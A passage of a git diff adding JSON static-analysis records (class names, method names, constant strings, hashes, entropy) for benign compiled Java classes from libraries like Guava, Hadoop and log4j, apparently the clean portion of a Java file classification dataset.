"_id": "e4b146fd-a144-4cd1-9a28-f5892140afdf", "verbose": {"java": {"constant strings": ["Debug", "", "LogRecord: [", ", ", "]"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "7bf92170c58ce792a4b5e1df65d806a329d07ef9", "file_name": "java_clean/84a98cf33a5af41b40d5aa3611d9e4cb23da52d0267e06fa3d6b7619921ec46d", "_id": "e4b146fd-a144-4cd1-9a28-f5892140afdf", "score": 0, "entropy": 5.075389324183483, "libmagic": "compiled Java class data, version 45.3", "file_size": 4395, "ssdeep": "96:Y66bbFlJwwWqh7LOiOZGf83lGDrr9F5ylO62LUp0UKDgs:obBlVWqhnOFZp3lGDdF5ylO6Xp0UiL", "sha256": "84a98cf33a5af41b40d5aa3611d9e4cb23da52d0267e06fa3d6b7619921ec46d", "md5": "d53d9be98f350ca7a567e526543be053", "parent_sha256": "84a98cf33a5af41b40d5aa3611d9e4cb23da52d0267e06fa3d6b7619921ec46d"}} \ No newline at end of file diff --git a/java_classification/data/clean/8525726836a8afc0dfe01793ba4e091fece6d0fce19a0eb33308d5034ae99efa.results b/java_classification/data/clean/8525726836a8afc0dfe01793ba4e091fece6d0fce19a0eb33308d5034ae99efa.results new file mode 100755 index 0000000..27739ee --- /dev/null +++ b/java_classification/data/clean/8525726836a8afc0dfe01793ba4e091fece6d0fce19a0eb33308d5034ae99efa.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/MapMakerInternalMap$StrongValueReference", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["com/google/common/collect/MapMakerInternalMap$ValueReference"], "sourcefile": "MapMakerInternalMap.java", "method_names": ["", "get", "getEntry", "copyFor", "isComputingReference", "waitForValue", "clear"], "minor_version": 0, "const_pool_count": 63}}, "_id": "5370f9e3-3149-469b-8026-4b09b5d4d848", "verbose": {"java": {"signatures": ["TV;", "(TV;)V", "()TV;", "()Lcom/google/common/collect/MapMakerInternalMap$ReferenceEntry;", "(Ljava/lang/ref/ReferenceQueue;Lcom/google/common/collect/MapMakerInternalMap$ReferenceEntry;)Lcom/google/common/collect/MapMakerInternalMap$ValueReference;", "()TV;", "(Lcom/google/common/collect/MapMakerInternalMap$ValueReference;)V", "Ljava/lang/Object;Lcom/google/common/collect/MapMakerInternalMap$ValueReference;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "234a831507beac70468ce55c4daa433a944a8858", "file_name": "java_clean/8525726836a8afc0dfe01793ba4e091fece6d0fce19a0eb33308d5034ae99efa", "_id": "5370f9e3-3149-469b-8026-4b09b5d4d848", "score": 0, "entropy": 5.056014570030959, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 2758, "ssdeep": "48:XakolVqfyzbADjH2nOczw9JtpCDRqXM01Rqk+hZM5nccRp3IZvszt04v:XAlmTI5I8UEMt", "sha256": "8525726836a8afc0dfe01793ba4e091fece6d0fce19a0eb33308d5034ae99efa", "md5": "825feb261656c03a5e399d057e1f351f", "parent_sha256": "8525726836a8afc0dfe01793ba4e091fece6d0fce19a0eb33308d5034ae99efa"}} \ No newline at end of file diff --git a/java_classification/data/clean/853c17287386241ee75ce48dedd26a73c8c901b33755f00e60b9c87dba5982ea.results b/java_classification/data/clean/853c17287386241ee75ce48dedd26a73c8c901b33755f00e60b9c87dba5982ea.results new file mode 100755 index 0000000..b56703a --- /dev/null +++ b/java_classification/data/clean/853c17287386241ee75ce48dedd26a73c8c901b33755f00e60b9c87dba5982ea.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/mapred/join/CompositeInputSplit", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/hadoop/mapred/InputSplit"], "sourcefile": "CompositeInputSplit.java", "method_names": ["", "", "add", "get", "getLength", "getLength", "getLocations", "getLocation", "write", "readFields"], "minor_version": 0, "const_pool_count": 158}}, "_id": "0e437d47-246e-4c69-87ed-ff4e3370a19a", "verbose": {"java": {"constant strings": ["Uninitialized InputSplit", "Too many splits", "Failed split init"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d496625b3abbbfd662a5bebd0b13da42b767df4f", "file_name": "java_clean/853c17287386241ee75ce48dedd26a73c8c901b33755f00e60b9c87dba5982ea", "_id": "0e437d47-246e-4c69-87ed-ff4e3370a19a", "score": 0, "entropy": 5.500435594715686, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3923, "ssdeep": "96:/DFlIoWSMYyf0RwTX0WZIr4ew1WkvyZUfdNvUL5:xldqT/IryFDvUN", "sha256": "853c17287386241ee75ce48dedd26a73c8c901b33755f00e60b9c87dba5982ea", "md5": "15aee14bc29459eb5599c85686befe88", "parent_sha256": "853c17287386241ee75ce48dedd26a73c8c901b33755f00e60b9c87dba5982ea"}} \ No newline at end of file diff --git a/java_classification/data/clean/85408a825982cf90a2989f15944e5c0c8c9138197980986afdcbd34520cf00ce.results b/java_classification/data/clean/85408a825982cf90a2989f15944e5c0c8c9138197980986afdcbd34520cf00ce.results new file mode 100755 index 0000000..a071102 --- /dev/null +++ b/java_classification/data/clean/85408a825982cf90a2989f15944e5c0c8c9138197980986afdcbd34520cf00ce.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "ForwardingMap.java", "class_name": "com/google/common/collect/ForwardingMap$StandardValues", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "map"], "minor_version": 0, "const_pool_count": 37}}, "_id": "04b76d85-1c2c-44cc-bd60-c82675aac6f4", "verbose": {"java": {"signatures": ["()Ljava/util/Map;", "Lcom/google/common/collect/Maps$Values;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "b6fea9c18e5805dc50dd4e8c490a4ffa7414a829", "file_name": "java_clean/85408a825982cf90a2989f15944e5c0c8c9138197980986afdcbd34520cf00ce", "_id": "04b76d85-1c2c-44cc-bd60-c82675aac6f4", "score": 0, "entropy": 5.115316359243679, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1038, "ssdeep": "24:TUwaNyhuljyoipCEiRPhA2OZrKiSsO66KqpSz1e:TUwagAltiIEgqTrKlC6KqoJe", "sha256": "85408a825982cf90a2989f15944e5c0c8c9138197980986afdcbd34520cf00ce", "md5": "7102a314fa2aad0ca1e05c586251a0a8", "parent_sha256": "85408a825982cf90a2989f15944e5c0c8c9138197980986afdcbd34520cf00ce"}} \ No newline at end of file diff --git a/java_classification/data/clean/85e29dde1a58b6b55387f67e49f9642d7d3311335d012a36c4d22a168055e5bb.results b/java_classification/data/clean/85e29dde1a58b6b55387f67e49f9642d7d3311335d012a36c4d22a168055e5bb.results new file mode 100755 index 0000000..c5b54c8 --- /dev/null +++ b/java_classification/data/clean/85e29dde1a58b6b55387f67e49f9642d7d3311335d012a36c4d22a168055e5bb.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/hadoop/io/WritableComparator", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "interfaces": ["org/apache/hadoop/io/RawComparator"], "sourcefile": "WritableComparator.java", "method_names": ["get", "define", "", "", "getKeyClass", "newKey", "compare", "compare", "compare", "compareBytes", "hashBytes", "readUnsignedShort", "readInt", "readFloat", "readLong", "readDouble", "readVLong", "readVInt", ""], "minor_version": 0, "const_pool_count": 170}}, "_id": "2c79ce8b-9dcd-47bb-932b-2f1057af98f9", "verbose": {"java": {"signatures": ["Ljava/util/HashMap;"], "constant strings": ["Not enough number of bytes for a zero-compressed integer"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "1fda104387a8c4ea6f6bfcfa8b448f07127961da", "file_name": "java_clean/85e29dde1a58b6b55387f67e49f9642d7d3311335d012a36c4d22a168055e5bb", "_id": "2c79ce8b-9dcd-47bb-932b-2f1057af98f9", "score": 0, "entropy": 5.390074137096748, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4625, "ssdeep": "96:e68Ps560lPOpnNFgtDD8ERGewuHjjfB/KEurlczTxasdp2hUhke:NlXHFzB/KENN5scke", "sha256": "85e29dde1a58b6b55387f67e49f9642d7d3311335d012a36c4d22a168055e5bb", "md5": "ea67af05a998523ac39164abf9db9e2a", "parent_sha256": "85e29dde1a58b6b55387f67e49f9642d7d3311335d012a36c4d22a168055e5bb"}} \ No newline at end of file diff --git a/java_classification/data/clean/86b132853afd6d956f62881961810a68d738fb9fe260df629066c6a40affd16f.results b/java_classification/data/clean/86b132853afd6d956f62881961810a68d738fb9fe260df629066c6a40affd16f.results new file mode 100755 index 0000000..65614b8 --- /dev/null +++ b/java_classification/data/clean/86b132853afd6d956f62881961810a68d738fb9fe260df629066c6a40affd16f.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 45, "class_name": "org/apache/log4j/lf5/viewer/LogBrokerMonitor$31", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/awt/event/ActionListener"], "sourcefile": "LogBrokerMonitor.java", "method_names": ["", "actionPerformed"], "minor_version": 3, "const_pool_count": 71}}, "_id": "fb0532e8-8c46-42ea-8ec5-5f062fc6b204", "metadata": {"mimetype": "application/x-java-applet", "sha1": "f86a5c1aa21cee14dc7b4ddb70b96d7b6e1459e8", "file_name": "java_clean/86b132853afd6d956f62881961810a68d738fb9fe260df629066c6a40affd16f", "_id": "fb0532e8-8c46-42ea-8ec5-5f062fc6b204", "score": 0, "entropy": 5.43186145456785, "libmagic": "compiled Java class data, version 45.3", "file_size": 1289, "ssdeep": "24:c/+vwiF9uljXruaIBy+o5RlOVqisn62drn5SroE2NXI+9:FYiGleaAy+ol5Cinwrf21I+9", "sha256": "86b132853afd6d956f62881961810a68d738fb9fe260df629066c6a40affd16f", "md5": "f2b81b28ee641c5c0f7d42f1ce06eef0", "parent_sha256": "86b132853afd6d956f62881961810a68d738fb9fe260df629066c6a40affd16f"}} \ No newline at end of file diff --git a/java_classification/data/clean/882a59df73cde5bd72afa594d24eff5255bec50c004f93586cf9e44424338911.results b/java_classification/data/clean/882a59df73cde5bd72afa594d24eff5255bec50c004f93586cf9e44424338911.results new file mode 100755 index 0000000..5fdbcbb --- /dev/null +++ b/java_classification/data/clean/882a59df73cde5bd72afa594d24eff5255bec50c004f93586cf9e44424338911.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Vfs.java", "class_name": "org/reflections/vfs/Vfs$DefaultUrlTypes$5", "access_permissions": ["ACC_FINAL", "ACC_SUPER", "ACC_ENUM"], "major_version": 49, "method_names": ["", "matches", "createDir"], "minor_version": 0, "const_pool_count": 73}}, "_id": "4c4d330f-b665-43b2-8749-d231d63b902e", "verbose": {"java": {"JAVA String Analysis": {"obfuscated_data": {"signatures": {"file": "rot0"}}}, "constant strings": ["vfszip", ".jar", "vfszip:", "file:"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c5424699b13089e32d9ef8d4bc312d4a13548549", "file_name": "java_clean/882a59df73cde5bd72afa594d24eff5255bec50c004f93586cf9e44424338911", "_id": "4c4d330f-b665-43b2-8749-d231d63b902e", "score": 0, "entropy": 5.375833411841708, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1323, "ssdeep": "24:sOuCnuljbc5JXssQnFkiIFzOq5O/Zt7LYoykY7Vu9nYWsHzc9:2Cul05JXshnKTZSZtHYfkY7VuRYW0c", "sha256": "882a59df73cde5bd72afa594d24eff5255bec50c004f93586cf9e44424338911", "md5": "66717d9dff675842ca87aaf05a41020a", "parent_sha256": "882a59df73cde5bd72afa594d24eff5255bec50c004f93586cf9e44424338911"}} \ No newline at end of file diff --git a/java_classification/data/clean/885fea86c8d993e1ea59f7bdf996772dd93b2069b91c9bed9f6b90c1cebb544e.results b/java_classification/data/clean/885fea86c8d993e1ea59f7bdf996772dd93b2069b91c9bed9f6b90c1cebb544e.results new file mode 100755 index 0000000..f0c25f0 --- /dev/null +++ b/java_classification/data/clean/885fea86c8d993e1ea59f7bdf996772dd93b2069b91c9bed9f6b90c1cebb544e.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/jdesktop/jdic/browser/NativeEventThread$StreamGobbler", "access_permissions": ["ACC_SUPER"], "major_version": 48, "method_names": ["", "run"], "minor_version": 0, "const_pool_count": 68}}, "_id": "1ee55532-a40f-47f6-87f8-9c525c3aed8f", "verbose": {"java": {"constant strings": ["+++ Ctrace: "]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "befa8fc215594b41acd5a317ae381e47dc9338d8", "file_name": "java_clean/885fea86c8d993e1ea59f7bdf996772dd93b2069b91c9bed9f6b90c1cebb544e", "_id": "1ee55532-a40f-47f6-87f8-9c525c3aed8f", "score": 0, "entropy": 5.502626467423958, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 1093, "ssdeep": "24:Y0i58Wr1zFzM9TZofvhNkqXg6Xftqc+9x7Sblt:KuwzM9TWvhN7XZkRQ", "sha256": "885fea86c8d993e1ea59f7bdf996772dd93b2069b91c9bed9f6b90c1cebb544e", "md5": "b42e521687c32928938ab555a11380bb", "parent_sha256": "885fea86c8d993e1ea59f7bdf996772dd93b2069b91c9bed9f6b90c1cebb544e"}} \ No newline at end of file diff --git a/java_classification/data/clean/88695aea75a4142b4548b13e8629ffc6d5785a67d0d362e98f9f32411d238cc3.results b/java_classification/data/clean/88695aea75a4142b4548b13e8629ffc6d5785a67d0d362e98f9f32411d238cc3.results new file mode 100755 index 0000000..fe5d257 --- /dev/null +++ b/java_classification/data/clean/88695aea75a4142b4548b13e8629ffc6d5785a67d0d362e98f9f32411d238cc3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "org/w3c/dom/html/HTMLTableSectionElement", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "interfaces": ["org/w3c/dom/html/HTMLElement"], "major_version": 46, "method_names": ["getAlign", "setAlign", "getCh", "setCh", "getChOff", "setChOff", "getVAlign", "setVAlign", "getRows", "insertRow", "deleteRow"], "minor_version": 0, "const_pool_count": 23}}, "_id": "0c163c04-c5e2-4ae5-ae77-8a90c7bb9bc2", "metadata": {"mimetype": "application/x-java-applet", "sha1": "5ad1d6f2352da22591dd96f86fa2ff08a4243bbb", "file_name": "java_clean/88695aea75a4142b4548b13e8629ffc6d5785a67d0d362e98f9f32411d238cc3", "_id": "0c163c04-c5e2-4ae5-ae77-8a90c7bb9bc2", "score": 0, "entropy": 5.10823651465275, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 462, "ssdeep": "12:Wm93MOWwMtWCSqGs3sveTwsUbRZGsvJ6m:WbDSqyewbx1", "sha256": "88695aea75a4142b4548b13e8629ffc6d5785a67d0d362e98f9f32411d238cc3", "md5": "1e7ad02750612b29b970d4e030f4c5c4", "parent_sha256": "88695aea75a4142b4548b13e8629ffc6d5785a67d0d362e98f9f32411d238cc3"}} \ No newline at end of file diff --git a/java_classification/data/clean/886b7c71f4bee3ac1bf3319d517e4f4190dd9188814961c847ab792ccd95ceec.results b/java_classification/data/clean/886b7c71f4bee3ac1bf3319d517e4f4190dd9188814961c847ab792ccd95ceec.results new file mode 100755 index 0000000..1a88d9d --- /dev/null +++ b/java_classification/data/clean/886b7c71f4bee3ac1bf3319d517e4f4190dd9188814961c847ab792ccd95ceec.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "VirtualFileFilter.java", "class_name": "org/jboss/vfs/VirtualFileFilter", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "major_version": 50, "method_names": ["accepts"], "minor_version": 0, "const_pool_count": 9}}, "_id": "c09cc8b6-5b39-4034-805c-2f76f7cd0394", "metadata": {"mimetype": "application/x-java-applet", "sha1": "647ecc5694d22ad8e550a8469b3a749c7ea2327a", "file_name": "java_clean/886b7c71f4bee3ac1bf3319d517e4f4190dd9188814961c847ab792ccd95ceec", "_id": "c09cc8b6-5b39-4034-805c-2f76f7cd0394", "score": 0, "entropy": 4.836080096218433, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 180, "ssdeep": "3:DbllT46kEXl77KXGIKRzJjI12LXXRszzUJjI+6xBkIKRzJjILSQCK8PmkllrSwl0:PXh7MGpL82LGf2X3pLfRPiwl0", "sha256": "886b7c71f4bee3ac1bf3319d517e4f4190dd9188814961c847ab792ccd95ceec", "md5": "1e7c077104571b469e5bd32621154824", "parent_sha256": "886b7c71f4bee3ac1bf3319d517e4f4190dd9188814961c847ab792ccd95ceec"}} \ No newline at end of file diff --git a/java_classification/data/clean/8889c1739baa1ddfab22e8a28ae016518b64bf090d4755c8cd2deebfe98d20df.results b/java_classification/data/clean/8889c1739baa1ddfab22e8a28ae016518b64bf090d4755c8cd2deebfe98d20df.results new file mode 100755 index 0000000..45dbf05 --- /dev/null +++ b/java_classification/data/clean/8889c1739baa1ddfab22e8a28ae016518b64bf090d4755c8cd2deebfe98d20df.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "org/apache/pig/data/Tuple", "access_permissions": ["ACC_PUBLIC", "ACC_INTERFACE", "ACC_ABSTRACT"], "interfaces": ["org/apache/hadoop/io/WritableComparable", "java/io/Serializable"], "sourcefile": "Tuple.java", "method_names": ["reference", "size", "isNull", "getType", "get", "getAll", "set", "append", "getMemorySize", "toDelimitedString", "isNull", "setNull"], "minor_version": 0, "const_pool_count": 45}}, "_id": "b6998272-f03c-4c51-974d-f01b1131ad16", "verbose": {"java": {"signatures": ["()Ljava/util/List;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "4736eae057b9bd9542333c1c0a6c849e30e133e8", "file_name": "java_clean/8889c1739baa1ddfab22e8a28ae016518b64bf090d4755c8cd2deebfe98d20df", "_id": "b6998272-f03c-4c51-974d-f01b1131ad16", "score": 0, "entropy": 5.170226019099588, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 864, "ssdeep": "12:bGcm5ypYL9CgBmJmVhCz+KRglOEuGl07uMBMOt+vCgYRMw/WC+AZtFnPh6Pp3rin:bv/yL9OJmhg+AlPuv2Kw/WeXp6h3en", "sha256": "8889c1739baa1ddfab22e8a28ae016518b64bf090d4755c8cd2deebfe98d20df", "md5": "223d3c9469f407f8ad9a5d3d0f121138", "parent_sha256": "8889c1739baa1ddfab22e8a28ae016518b64bf090d4755c8cd2deebfe98d20df"}} \ No newline at end of file diff --git a/java_classification/data/clean/8a1ca7e5d16cbdbda8830a663a48c78911d928f568220a5af389437ab1fe90f3.results b/java_classification/data/clean/8a1ca7e5d16cbdbda8830a663a48c78911d928f568220a5af389437ab1fe90f3.results new file mode 100755 index 0000000..6e8b7e3 --- /dev/null +++ b/java_classification/data/clean/8a1ca7e5d16cbdbda8830a663a48c78911d928f568220a5af389437ab1fe90f3.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 48, "class_name": "javassist/util/proxy/SecurityActions$1", "access_permissions": ["ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/security/PrivilegedAction"], "sourcefile": "SecurityActions.java", "method_names": ["", "run"], "minor_version": 0, "const_pool_count": 34}}, "_id": "23ebd3ef-cc86-4d06-8041-d2630159edc3", "metadata": {"mimetype": "application/x-java-applet", "sha1": "66875509e0165de4329c8defbeefa4e43c902e01", "file_name": "java_clean/8a1ca7e5d16cbdbda8830a663a48c78911d928f568220a5af389437ab1fe90f3", "_id": "23ebd3ef-cc86-4d06-8041-d2630159edc3", "score": 0, "entropy": 5.112508920991486, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 661, "ssdeep": "12:ovjiyiNWulPsoxh5aTuNsPYWTuPRNY7GVeGHujiffYJOS:yeyiNWuljlsmgSz7VpHiifQj", "sha256": "8a1ca7e5d16cbdbda8830a663a48c78911d928f568220a5af389437ab1fe90f3", "md5": "d1445ce97c7f4071fd93650dbc711b67", "parent_sha256": "8a1ca7e5d16cbdbda8830a663a48c78911d928f568220a5af389437ab1fe90f3"}} \ No newline at end of file diff --git a/java_classification/data/clean/8a3667d16a1f2d9fc96482e398787b3d7f86c2a57f89cfb5e6f392d7bc268235.results b/java_classification/data/clean/8a3667d16a1f2d9fc96482e398787b3d7f86c2a57f89cfb5e6f392d7bc268235.results new file mode 100755 index 0000000..65cbdcf --- /dev/null +++ b/java_classification/data/clean/8a3667d16a1f2d9fc96482e398787b3d7f86c2a57f89cfb5e6f392d7bc268235.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 50, "class_name": "hu/openig/screen/items/AchievementsScreen$11", "access_permissions": ["ACC_SUPER"], "interfaces": ["hu/openig/core/Action0"], "sourcefile": "AchievementsScreen.java", "method_names": ["", "invoke"], "minor_version": 0, "const_pool_count": 55}}, "_id": "ddb547ea-b071-4262-af64-73369d26a926", "metadata": {"mimetype": "application/x-java-applet", "sha1": "996273d7409f6ebc4fbe5476d4d87f53bfb38e89", "file_name": "java_clean/8a3667d16a1f2d9fc96482e398787b3d7f86c2a57f89cfb5e6f392d7bc268235", "_id": "ddb547ea-b071-4262-af64-73369d26a926", "score": 0, "entropy": 5.304948307792596, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1035, "ssdeep": "24:5IBo4bOw4RaBo1GBoWU9ljSZBoxMBohpVhiSl2BXiisL:0bOByU9ljbgBoL", "sha256": "8a3667d16a1f2d9fc96482e398787b3d7f86c2a57f89cfb5e6f392d7bc268235", "md5": "523f2d30035d385d4b9f83ee20d4d4ee", "parent_sha256": "8a3667d16a1f2d9fc96482e398787b3d7f86c2a57f89cfb5e6f392d7bc268235"}} \ No newline at end of file diff --git a/java_classification/data/clean/8a3bcad914382def6191ea9e015925724919f558e482976a90a617cbecc1ec6c.results b/java_classification/data/clean/8a3bcad914382def6191ea9e015925724919f558e482976a90a617cbecc1ec6c.results new file mode 100755 index 0000000..834639f --- /dev/null +++ b/java_classification/data/clean/8a3bcad914382def6191ea9e015925724919f558e482976a90a617cbecc1ec6c.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Multisets.java", "class_name": "com/google/common/collect/Multisets$SetMultiset$EntrySet", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "size", "iterator"], "minor_version": 0, "const_pool_count": 56}}, "_id": "3788433d-aeab-45aa-b029-9dccc6d3d873", "verbose": {"java": {"signatures": ["()Ljava/util/Iterator;>;", "Ljava/util/AbstractSet;>;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e389152b413d968030e5bdb6d42e70ed28216a4a", "file_name": "java_clean/8a3bcad914382def6191ea9e015925724919f558e482976a90a617cbecc1ec6c", "_id": "3788433d-aeab-45aa-b029-9dccc6d3d873", "score": 0, "entropy": 5.071059179041701, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1472, "ssdeep": "24:4PDIVzOCN6zXuljWzOfzmL08dzX84KsR6EizKKz4EjSzQebuBzd5c4gJoY9qDSv:4klOOwelQUmnzdyKgiCM4El9pv", "sha256": "8a3bcad914382def6191ea9e015925724919f558e482976a90a617cbecc1ec6c", "md5": "43a677f59d515f78aa1bfb2039ff55be", "parent_sha256": "8a3bcad914382def6191ea9e015925724919f558e482976a90a617cbecc1ec6c"}} \ No newline at end of file diff --git a/java_classification/data/clean/8afb537fa141c1649df9b7381236e96aadf408e708a9503b3d0fb0bdd81685b8.results b/java_classification/data/clean/8afb537fa141c1649df9b7381236e96aadf408e708a9503b3d0fb0bdd81685b8.results new file mode 100755 index 0000000..b2f6af7 --- /dev/null +++ b/java_classification/data/clean/8afb537fa141c1649df9b7381236e96aadf408e708a9503b3d0fb0bdd81685b8.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/CustomConcurrentHashMap$StrongExpirableEvictableEntry", "access_permissions": ["ACC_SUPER"], "interfaces": ["com/google/common/collect/CustomConcurrentHashMap$Expirable", "com/google/common/collect/CustomConcurrentHashMap$Evictable"], "sourcefile": "CustomConcurrentHashMap.java", "method_names": ["", "getExpirationTime", "setExpirationTime", "getNextExpirable", "setNextExpirable", "getPreviousExpirable", "setPreviousExpirable", "getNextEvictable", "setNextEvictable", "getPreviousEvictable", "setPreviousEvictable"], "minor_version": 0, "const_pool_count": 102}}, "_id": "0c9097fa-a8a2-4c3a-a2ea-cd0d361bcc36", "verbose": {"java": {"signatures": ["(Lcom/google/common/collect/CustomConcurrentHashMap;TK;ILcom/google/common/collect/CustomConcurrentHashMap$ReferenceEntry;)V", "Lcom/google/common/collect/CustomConcurrentHashMap$StrongEntry;Lcom/google/common/collect/CustomConcurrentHashMap$Expirable;Lcom/google/common/collect/CustomConcurrentHashMap$Evictable;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ae7925123ae3658e918b114b7c8c445b134ed52d", "file_name": "java_clean/8afb537fa141c1649df9b7381236e96aadf408e708a9503b3d0fb0bdd81685b8", "_id": "0c9097fa-a8a2-4c3a-a2ea-cd0d361bcc36", "score": 0, "entropy": 5.23667190188501, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4268, "ssdeep": "96:qRCFk5w30lq5mectOHD5NImnGFV1ZyOfMZvA+hB860jQozkna7V9J0FZCu/1n:qwFk5wklq5mectOHNNIUYV1ZyOfMZA+D", "sha256": "8afb537fa141c1649df9b7381236e96aadf408e708a9503b3d0fb0bdd81685b8", "md5": "1f213f53d8cd207a7c1bc701f3bb8d1e", "parent_sha256": "8afb537fa141c1649df9b7381236e96aadf408e708a9503b3d0fb0bdd81685b8"}} \ No newline at end of file diff --git a/java_classification/data/clean/8bb23f95d7840a225e274fb9a5eb97a1721f2bb59b7bac00a0a32579c64e1857.results b/java_classification/data/clean/8bb23f95d7840a225e274fb9a5eb97a1721f2bb59b7bac00a0a32579c64e1857.results new file mode 100755 index 0000000..eda821b --- /dev/null +++ b/java_classification/data/clean/8bb23f95d7840a225e274fb9a5eb97a1721f2bb59b7bac00a0a32579c64e1857.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Validator.java", "class_name": "org/apache/jasper/compiler/Validator$1", "access_permissions": ["ACC_SUPER"], "major_version": 46, "minor_version": 0, "const_pool_count": 12}}, "_id": "83bee44f-974f-49e4-87cb-657fd02d91e2", "metadata": {"mimetype": "application/x-java-applet", "sha1": "95ce175d3b68aca8ff776e830ef96ce2aae01882", "file_name": "java_clean/8bb23f95d7840a225e274fb9a5eb97a1721f2bb59b7bac00a0a32579c64e1857", "_id": "83bee44f-974f-49e4-87cb-657fd02d91e2", "score": 0, "entropy": 4.72772638910108, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 222, "ssdeep": "6:QBqnJyRKb/R1CKP5YBRPpa1CKSlOl8k4t:SmJCK1kKP2BRRakKSlXkg", "sha256": "8bb23f95d7840a225e274fb9a5eb97a1721f2bb59b7bac00a0a32579c64e1857", "md5": "7a6dba353bc481f458f3a07fcbce0363", "parent_sha256": "8bb23f95d7840a225e274fb9a5eb97a1721f2bb59b7bac00a0a32579c64e1857"}} \ No newline at end of file diff --git a/java_classification/data/clean/8bd7b2e340d1b839bda50121e497db80d4d8d6b4df1b665ee15c3ff91c799728.results b/java_classification/data/clean/8bd7b2e340d1b839bda50121e497db80d4d8d6b4df1b665ee15c3ff91c799728.results new file mode 100755 index 0000000..4646c0c --- /dev/null +++ b/java_classification/data/clean/8bd7b2e340d1b839bda50121e497db80d4d8d6b4df1b665ee15c3ff91c799728.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"major_version": 49, "class_name": "com/google/common/collect/Synchronized$SynchronizedListMultimap", "access_permissions": ["ACC_SUPER"], "interfaces": ["com/google/common/collect/ListMultimap"], "sourcefile": "Synchronized.java", "method_names": ["", "delegate", "get", "removeAll", "replaceValues", "removeAll", "replaceValues", "get", "delegate", "delegate"], "minor_version": 0, "const_pool_count": 81}}, "_id": "2bed2867-990e-4f40-a140-bd0835f82f8b", "verbose": {"java": {"signatures": ["(Lcom/google/common/collect/ListMultimap;Ljava/lang/Object;)V", "()Lcom/google/common/collect/ListMultimap;", "(TK;)Ljava/util/List;", "(Ljava/lang/Object;)Ljava/util/List;", "(TK;Ljava/lang/Iterable<+TV;>;)Ljava/util/List;", "Lcom/google/common/collect/Synchronized$SynchronizedMultimap;Lcom/google/common/collect/ListMultimap;"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "94b265a5089c59b84be216f923c1e30ce4f5622e", "file_name": "java_clean/8bd7b2e340d1b839bda50121e497db80d4d8d6b4df1b665ee15c3ff91c799728", "_id": "2bed2867-990e-4f40-a140-bd0835f82f8b", "score": 0, "entropy": 5.209830516304801, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 3170, "ssdeep": "48:wMRlOlFTOL+R85+CJKEhjDJvB8jXObYUBksTDgMi:9lOjU58XOrkYE", "sha256": "8bd7b2e340d1b839bda50121e497db80d4d8d6b4df1b665ee15c3ff91c799728", "md5": "6d21c0ef3dec5eb70b2d2d3777735f6b", "parent_sha256": "8bd7b2e340d1b839bda50121e497db80d4d8d6b4df1b665ee15c3ff91c799728"}} \ No newline at end of file diff --git a/java_classification/data/clean/8c2b7f5a2c09c1c6fc000d65be3d59fbd14f483d59b65234e8963301c9c33383.results b/java_classification/data/clean/8c2b7f5a2c09c1c6fc000d65be3d59fbd14f483d59b65234e8963301c9c33383.results new file mode 100755 index 0000000..693d9cc --- /dev/null +++ b/java_classification/data/clean/8c2b7f5a2c09c1c6fc000d65be3d59fbd14f483d59b65234e8963301c9c33383.results @@ -0,0 +1 